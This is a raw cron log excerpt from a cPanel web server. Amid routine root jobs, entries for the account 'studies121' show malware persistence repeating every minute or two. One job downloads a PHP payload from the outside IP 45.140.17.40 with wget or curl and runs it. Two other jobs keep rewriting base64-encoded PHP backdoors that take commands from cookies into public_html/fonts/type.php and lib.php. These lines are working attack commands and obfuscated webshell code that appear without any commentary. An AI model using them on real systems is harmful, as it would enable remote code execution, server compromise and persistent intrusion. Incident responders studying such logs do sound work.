Sep 10 12:12:01 ip-184-168-122-23 CROND[3975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:13:02 ip-184-168-122-23 CROND[4267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:13:02 ip-184-168-122-23 CROND[4269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:13:02 ip-184-168-122-23 CROND[4270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:13:02 ip-184-168-122-23 CROND[4273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:14:01 ip-184-168-122-23 CROND[4518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:14:01 ip-184-168-122-23 CROND[4522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:14:01 ip-184-168-122-23 CROND[4520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:14:01 ip-184-168-122-23 CROND[4523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:14:01 ip-184-168-122-23 CROND[4521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:15:01 ip-184-168-122-23 CROND[4664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:15:01 ip-184-168-122-23 CROND[4665]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 10 12:15:01 ip-184-168-122-23 CROND[4666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:15:01 ip-184-168-122-23 CROND[4667]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 12:15:01 ip-184-168-122-23 CROND[4670]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:15:01 ip-184-168-122-23 CROND[4671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:15:01 ip-184-168-122-23 CROND[4673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:15:01 ip-184-168-122-23 CROND[4674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:16:01 ip-184-168-122-23 CROND[5035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:16:01 ip-184-168-122-23 CROND[5039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:16:01 ip-184-168-122-23 CROND[5037]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:16:01 ip-184-168-122-23 CROND[5042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:16:01 ip-184-168-122-23 CROND[5041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:16:01 ip-184-168-122-23 CROND[5040]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 12:17:01 ip-184-168-122-23 CROND[5272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:17:01 ip-184-168-122-23 CROND[5274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:17:01 ip-184-168-122-23 CROND[5275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:17:01 ip-184-168-122-23 CROND[5273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:18:01 ip-184-168-122-23 CROND[5577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:18:01 ip-184-168-122-23 CROND[5580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:18:01 ip-184-168-122-23 CROND[5584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:18:01 ip-184-168-122-23 CROND[5583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:18:01 ip-184-168-122-23 CROND[5582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:19:01 ip-184-168-122-23 CROND[5805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:19:01 ip-184-168-122-23 CROND[5806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:19:01 ip-184-168-122-23 CROND[5809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:19:01 ip-184-168-122-23 CROND[5811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:20:01 ip-184-168-122-23 CROND[5974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:20:01 ip-184-168-122-23 CROND[5976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 12:20:01 ip-184-168-122-23 CROND[5977]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 12:20:01 ip-184-168-122-23 CROND[5978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:20:01 ip-184-168-122-23 CROND[5979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:20:01 ip-184-168-122-23 CROND[5983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:20:01 ip-184-168-122-23 CROND[5980]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:20:01 ip-184-168-122-23 CROND[5982]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:20:01 ip-184-168-122-23 CROND[5981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:21:01 ip-184-168-122-23 CROND[6154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:21:01 ip-184-168-122-23 CROND[6157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:21:01 ip-184-168-122-23 CROND[6158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:21:01 ip-184-168-122-23 CROND[6160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:22:01 ip-184-168-122-23 CROND[6330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:22:01 ip-184-168-122-23 CROND[6333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:22:01 ip-184-168-122-23 CROND[6332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:22:01 ip-184-168-122-23 CROND[6334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:22:01 ip-184-168-122-23 CROND[6336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:23:01 ip-184-168-122-23 CROND[6546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:23:01 ip-184-168-122-23 CROND[6547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:23:01 ip-184-168-122-23 CROND[6549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:23:01 ip-184-168-122-23 CROND[6550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:24:01 ip-184-168-122-23 CROND[6650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:24:01 ip-184-168-122-23 CROND[6651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:24:01 ip-184-168-122-23 CROND[6654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:24:01 ip-184-168-122-23 CROND[6655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:24:01 ip-184-168-122-23 CROND[6656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:25:01 ip-184-168-122-23 CROND[6818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:25:01 ip-184-168-122-23 CROND[6820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
